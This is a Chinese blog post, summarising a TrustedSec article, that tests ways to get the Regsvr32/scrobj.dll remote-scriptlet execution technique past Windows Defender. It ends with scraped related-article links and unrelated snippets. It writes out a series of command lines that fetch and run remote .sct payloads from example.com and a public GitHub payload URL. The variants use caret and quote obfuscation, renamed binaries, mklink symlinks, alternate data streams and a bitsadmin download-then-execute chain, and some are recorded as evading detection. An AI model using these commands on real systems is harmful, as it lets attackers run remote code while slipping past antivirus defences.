DISCOVERING THE ANTI-VIRUS SIGNATURE AND BYPASSING IT
前言:看了这篇突然想起,2019年刚开始学习的时候在心东的视频教程中,他当时在360的情况下绕Regsvr32跟这篇文章也有点相似,不过这个人的思路更加的广阔!
支持操作系统:Windows Vista,Windows 7,Windows 8,Windows 8.1,Windows 10
所需要的权限:用户
先介绍下Regsvr32,是个二进制文件,可用于执行外部SCT文件中的代码!
参数讲解:
/u:反注册DLL文件
/i:在使用 /u 反注册时调用 DllInstall
/s:安静模式下执行命令,即在成功注册/反注册DLL文件前提下不显示结果提示框
/c:控制端口
/n:不调用DllRegisterServer,必须与/i连用
DllInstall:仅用于应用程序安装和设置。应用程序不应调用它。它的用途与DllRegisterServer或DllUnregisterServer相似。与这些函数不同,DllInstall使用一个输入字符串,该字符串可用于指定各种不同的操作。这允许根据任何适当的条件以多种方式安装DLL。
大家可以理解DllInstall的时候可以带命令行参数进行注册,那么也可以进行自定义的操作,例如远程调用!
这里主要学习总结绕过手段,如果需要详细图文学习的话,参考最下面的文章!
标准的运行命令格式:regsvr32.exe /i:http://example.com/file.sct /u /s scrobj.dll,这个结果是会被Windows Defender进行拦截的!
绕过过程如下:
第一种尝试方法:命令参数的交换
/u /s 前后交换
regsvr32.exe /i:http://example.com/file.sct /s /u scrobj.dll 拦截
结果无法绕过
第二种尝试方法:添加干扰符
这里使用的干扰符只有",^,自己知道的还有个@
regsvr32.exe /i:h^t^t^p://example.com/file.sct /s /u scrobj.dll 拦截
regsvr32.exe /i:h"t"t"p://example.com/file.sct /s /u scrobj.dll 拦截
第三种尝试方法:绕过windows目录调用,该方法对于某些av监控windows目录下的exe文件有一定的绕过作用!
copy c:\windows\system32\regsvr32.exe c:\programdata\reg32.exe
reg32.exe /i:http://example.com/file.sct /s /u scrobj.dll 拦截
copy c:\windows\system32\scrobj.dll Myscrobj.dll
regsvr32.exe /i:http://example.com/file.sct /s /u Myscrobj.dll 拦截
第四种尝试方法:特征码修改
这里自己理解的特征码修改实际上就是指的就是 引起AV检测的字符
regsvr32.exe /i:http://example.com/file.txt /s /u scrobj.dll 拦截
regsvr32.exe /i:http://example.com/file.txt scrobj.dll 拦截
regsvr32.exe /i:http:// scrobj.dll 拦截
regsvr32.exe /i:http: scrobj.dll 拦截
regsvr32.exe /i:ftp: scrobj.dll 不拦截
regsvr32.exe /i:http: Myscrobj.dll 不拦截
那么可以确定的是 拦截情况为:http和scrobj.dll的组合
第五种尝试方法:符号链接
权限要求:本地管理员
在linux中有软链接和硬链接,在windows中也有类似的操作符号链接
Mklink.exe c:\programdata\Myscrobj.dll c:\windows\system32\scrobj.dll
regsvr32.exe /i:http://example.com/file.sct /u /s Myscrobj.dll 不拦截,但是记得操作的时候在链接的dll目录下进行!
第六种尝试方法:数据流(ADS)
dir /R可以去发现本地的备用数据流
默认情况下,我们查看称为$DATA的特定流。可以向文件中添加其他流并向其中添加内容。
Type c:\windows\system32\scrobj.dll > test.txt:Myscrobj.dll
Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct test.txt:Myscrobj.dll 拦截
第七种尝试方法:本地磁盘执行
那么也就是下载到本地然后进行执行,不去远程执行!
bitsadmin /transfer download /download /priority normal https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct %TEMP%\test.txt && regsvr32.exe /s /u /i:%TEMP%\test.txt scrobj.dll 拦截
太棒了,屁都没学到!
参考文章:https://www.trustedsec.com/blog/discovering-the-anti-virus-signature-and-bypassing-it/
DISCOVERING THE ANTI-VIRUS SIGNATURE AND BYPASSING IT的更多相关文章
- BlackArch-Tools
BlackArch-Tools 简介 安装在ArchLinux之上添加存储库从blackarch存储库安装工具替代安装方法BlackArch Linux Complete Tools List 简介 ...
- Automated Memory Analysis
catalogue . 静态分析.动态分析.内存镜像分析对比 . Memory Analysis Approach . volatility: An advanced memory forensics ...
- QUICK START GUIDE
QUICK START GUIDE This page is a guide aimed at helping anyone set up a cheap radio scanner based on ...
- cygwin 扩展
1.使用setup,然后一路安装到select package,选择需要的包即可,然后一路next. 2.setup.exe -q -P 包名, 详细用法如下: Command Line Option ...
- linux下安装F-prot杀毒软件
一. f-prot的安装 1.首先我们要创建一个带有超级权限的用户 sudo passwa root 2.su 切换用户 3.下载F-prot http://www.f-prot.com/downlo ...
- Mysql Communications link failure 问题的解决
问题现象 com.mysql.jdbc.exceptions.jdbc4.CommunicationsException: Communications link failure The last p ...
- 使用JMeter3.0实战之分布式并发测试以及web API接口测试
简介: 该文档是以Apche JMeter-3.0为例进行编写的,通过网上的学习资料和官方文档的说明手册学习后,进行项目操作实践,将测试的过程记录下提供给大家学习. 本博文的内容主要是进行配置JMet ...
- jmeter工具下载及工具功能操作介绍
本博文jmeter介绍的是在windows下使用,linux后期看情况更新,谢谢 简单介绍,想更多了解的去官方,多的很: The Apache JMeter™ application is open ...
- Bypassing iPhone Code Signatures
[Bypassing iPhone Code Signatures] Starting with the recent beta releases of the iPhoneOS, Apple has ...
随机推荐
- redis 高性能的原因
1. redis 数据存储在内存中: 2. redis 是单线程: 3. redis 多路复用: 指令先放到队列里 4.redis 使用resp 协议
- 第1节 Scala基础语法:scala中的方法源码分析
val list=List(1,2,3,4) list.reduce((x:Int,y:Int)=>x+y)--->list.reduceLeft((x:Int,y:Int)=>x+ ...
- Day11-G - Calendar Game HDU - 1079
Adam and Eve enter this year’s ACM International Collegiate Programming Contest. Last night, they pl ...
- Codeforces1301D
其实感觉这道题在D简单了(但我都没做到这一题,路径最多的方式只有一种,将所有的边都走一遍,从第一行开始,向右走到头,然后向左回来,向下一格,向右走到头,然后上下左重复直到第一列,如此重复直到最后一行, ...
- [PHP] PHP7已经删除了preg_replace的e修饰符
官网提示是这样的,对/e修饰符的支持已删除.请改用preg_replace_callback()原因是/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码( ...
- SpingBoot学习(一)
一.概述 Spring Boot是为了简化Spring应用的创建.运行.调试.部署等而出现的,使用它可以做到专注于Spring应用的开发,而无需过多关注XML的配置. 简单来说,它提供了一堆依赖打包, ...
- boost::timer demo
#include <iostream> #include <boost/timer.hpp> //timer的头文件 using namespace boost; //打开bo ...
- 条款01:视C++为一个语言联邦
C++由四部分组成: 1)C. 2)Object-Oriented C++.classes,封装,多态,动态绑定(virtual函数) 3)Template C++.泛型编程. 4)STL. 对于内置 ...
- 084、Java数组之实现数组复制
01.代码如下: package TIANPAN; /** * 此处为文档注释 * * @author 田攀 微信382477247 */ public class TestDemo { public ...
- Hibernate一对多(多对一)外键设置汇总
我打算在角色表(role)中添加一个帐号表(account)的外键(accountId),步骤如下: 1.首先在角色表(role)中添加列. 添加语句:alter table role add(acc ...